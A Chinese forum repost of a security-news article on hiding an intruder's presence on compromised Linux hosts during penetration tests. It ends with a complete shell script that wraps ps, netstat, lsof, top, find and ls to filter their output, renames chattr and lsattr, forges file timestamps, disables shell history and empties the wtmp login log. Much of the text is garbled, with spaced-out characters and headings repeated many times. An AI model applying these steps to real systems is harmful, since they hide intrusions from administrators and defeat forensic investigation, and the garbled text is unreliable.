搜索

[7124] 2020-12-07_Linux隐匿技巧

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-12-07_Linux隐匿技巧 L i n u x   隐 匿 技 巧 E 安 全   2 0 2 0 - 1 2 - 0 7 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 A n o n y S e c 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 内 网 渗 透 时 ， 有 时 需 要 将 工 具 放 在 目 标 机 进 程 执 行 ， 但 这 里 就 需 要 考 虑 隐 蔽 性 的 问 题 。 下 面 所 讲 的 不 是 什 么 高 大 上 的 技 术 ， 只 是 一 些 常 用 的 " 包 装 " 技 巧 。 N o . 2 N o . 2 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 进 程 隐 匿 n e t s t a t   伪 装 伪 装 首 先 ， 包 装 下   n e t s t a t   命 令 ， p s   路 径 为 ： / u s r / b i n / n e t s t a t 之 后 ， 创 建 / u s r / l o c a l / b i n / n e t s t a t 文 件 ， 写 入 内 容 ： 最 后 ， 赋 予 执 行 权 限   c h m o d   + x   / u s r / l o c a l / b i n / n e t s t a t 执 行 w h i c h   n e t s t a t 看 下 命 令 变 化 ： n e t s t a t   命 令 修 改 前 后 的 对 比 ： 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 #   ! / b i n / b a s h / u s r / b i n / p s   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t '
当 我 们 自 己 使 用 时 ， 直 接 用 / b i n / n e t s t a t 就   O K   了 。 N o . 3 N o . 3 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 文 件 隐 匿 首 先 ， 看 下   L i n u x   c h a t t r   命 令 ， 用 于 改 变 文 件 属 性 。 这 项 指 令 可 改 变 存 放 在 e x t 2 文 件 系 统 上 的 文 件 或 目 录 属 性 ， 这 些 属 性 共 有 以 下 8 种 模 式 ： a ： 让 文 件 或 目 录 仅 供 附 加 用 途 b ： 不 更 新 文 件 或 目 录 的 最 后 存 取 时 间 c ： 将 文 件 或 目 录 压 缩 后 存 放 d ： 将 文 件 或 目 录 排 除 在 倾 倒 操 作 之 外 i ： 不 得 任 意 更 动 文 件 或 目 录 s ： 保 密 性 删 除 文 件 或 目 录 S ： 即 时 更 新 文 件 或 目 录 u ： 预 防 意 外 删 除 实 战 中 常 用 的 为   + a   ( 只 能 追 加 ， 不 能 删 除 )   与   + i   ( 不 能 更 改 )   ： 这 里 ， 还 需 要 将   c h a t t r   与   l s a t t r   命 令 进 程 隐 藏 ： N o . 4 N o . 4 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 文 件 时 间 修 改 t o u c h   - a c m r   / b i n / l s   / u s r / b i n / c h t   (   修 改   后 一 个 文 件 时 间   与   前 一 个 文 件 时 间   一 致 ) 参 数 参 数 - a ： 改 变 访 问 时 间 为 当 前 时 间 - m ： 改 变 修 改 时 间 为 当 前 时 间 - c ： 文 件 不 存 在 不 新 建 文 件 - r ： 使 用 参 考 文 件 的 时 间 - d ： 设 置 为 指 定 时 间 - t ： 设 置 档 案 的 时 间 记 录 N o . 5 N o . 5 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 附 附 :   s h 脚 脚 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 本 m v   / u s r / b i n / c h a t t r   / u s r / b i n / c h t m v   / u s r / b i n / l s a t t r   / u s r / b i n / l s t #   ! / b i n / b a s h #   h i s t o r y #   u n s e t   H I S T O R Y   H I S T F I L E   H I S T S A V E   H I S T Z O N E   H I S T O R Y   H I S T L O G ;   e x p o r t   H I S T F I L E = / d e v / n u l l ;   e x p o r t   H I S T S I Z E = 0 ;   e x p o r t   H I S T F I L E S I Z E = 0 #   p s t o u c h   / u s r / l o c a l / b i n / p s c a t   < < E O F   > >   / u s r / l o c a l / b i n / p s #   ! / b i n / b a s h / b i n / p s   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' / u s r / b i n / p s   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' E O F c h m o d   + x   / u s r / l o c a l / b i n / p s   & &   t o u c h   - a c m r   / b i n / p s   / u s r / l o c a l / b i n / p s #   n e t s t a t t o u c h   / u s r / l o c a l / b i n / n e t s t a t c a t   < < E O F   > >   / u s r / l o c a l / b i n / n e t s t a t #   ! / b i n / b a s h / b i n / n e t s t a t   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' / u s r / b i n / n e t s t a t   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t '
E O F c h m o d   + x   / u s r / l o c a l / b i n / n e t s t a t   & &   t o u c h   - a c m r   / b i n / n e t s t a t   / u s r / l o c a l / b i n / n e t s t a t #   l s o f t o u c h   / u s r / l o c a l / b i n / l s o f c a t   < < E O F   > >   / u s r / l o c a l / b i n / l s o f #   ! / b i n / b a s h / b i n / l s o f   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' / u s r / b i n / l s o f   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' E O F c h m o d   + x   / u s r / l o c a l / b i n / l s o f   & &   t o u c h   - a c m r   / b i n / l s o f   / u s r / l o c a l / b i n / l s o f #   t o p t o u c h   / u s r / l o c a l / b i n / t o p c a t   < < E O F   > >   / u s r / l o c a l / b i n / t o p #   ! / b i n / b a s h / b i n / t o p   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' / u s r / b i n / t o p   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' E O F c h m o d   + x   / u s r / l o c a l / b i n / t o p   & &   t o u c h   - a c m r   / b i n / t o p   / u s r / l o c a l / b i n / l s o f #   f i n d t o u c h   / u s r / l o c a l / b i n / f i n d c a t   < < E O F   > >   / u s r / l o c a l / b i n / f i n d   #   ! / b i n / b a s h / b i n / f i n d   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' / u s r / b i n / f i n d   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' E O F c h m o d   + x   / u s r / l o c a l / b i n / f i n d   & &   t o u c h   - a c m r   / b i n / f i n d   / u s r / l o c a l / b i n / l s o f #   l s t o u c h   / u s r / l o c a l / b i n / l s c a t   < < E O F   > >   / u s r / l o c a l / b i n / l s #   ! / b i n / b a s h / b i n / l s   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' / u s r / b i n / l s   $ @   |   g r e p   - E v   ' n a m e | a d d r e s s | p o r t ' E O F c h m o d   + x   / u s r / l o c a l / b i n / l s   & &   t o u c h   - a c m r   / b i n / l s   / u s r / l o c a l / b i n / l s #   c h a t t r   &   l s a t t r #   ! / b i n / b a s h m k d i r   / t m p / . t m p / c h a t t r   + a   / t m p / . t m p / c h a t t r   + a   / r o o t / . s s h / m v   / u s r / b i n / c h a t t r   / u s r / b i n / c h t m v   / u s r / b i n / l s a t t r   / u s r / b i n / l s t #   l a s t #   e c h o   " "   >   / v a r / l o g / w t m p
修 改 命 令 变 量 后 ， 重 启 终 端 生 效 ， 执 行 后 记 得 删 除 修 改 命 令 变 量 后 ， 重 启 终 端 生 效 ， 执 行 后 记 得 删 除 s h 脚 本 脚 本   ！ ！ N o . 6 N o . 6 R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e R e f e r e n c e c a t   E O F 追 加 与 覆 盖 追 加 与 覆 盖 ( h t t p : / / w w w . 3 6 1 w a y . c o m / c a t - e o f - c o v e r - a p p e n d / 4 2 9 8 . h t m l ) S h e l l 特 殊 变 量 特 殊 变 量 ( h t t p s : / / b l o g . c s d n . n e t / u 0 1 1 3 4 1 3 5 2 / a r t i c l e / d e t a i l s / 5 3 2 1 5 1 8 0 ) c h a t t r ( h t t p s : / / w w w . r u n o o b . c o m / l i n u x / l i n u x - c o m m - c h a t t r . h t m l ) t o u c h ( h t t p s : / / w w w . c n b l o g s . c o m / y a n g j u n h / p / L i n u x _ t o u c h . h t m l ) 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 爱 德 华 · 斯 诺 登 喊 话 特 朗 普 ！ 要 求 其 赦 免 维 基 解 密 创 始 人 朱 利 安 · 阿 桑 奇 家 喻 户 晓 的 家 乐 福 被 G D P R 罚 款 3 7 0 万 美 元 i P h o n e 里 的 照 片 、 私 人 信 息 一 览 无 余 ！ 谷 歌 近 日 曝 光 了 一 个 i O S 严 重 W i - F i 漏 洞 最 新 报 告 : 朝 鲜 黑 客 又 开 始 攻 击 研 发 新 冠 疫 苗 的 制 药 公 司 年 度 盘 点 二 ： 2 0 2 0 年 最 严 重 的 加 密 货 币 入 侵 事 件 ▼ 稿 件 合 作     1 5 5 5 8 1 9 2 9 5 9     小 E 微 信 号 ： E a n q u a n 0 9 1 4 喜 欢 记 得 打 赏 小 E 哦 ！
我 就 知 道 你 “ 在 看 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理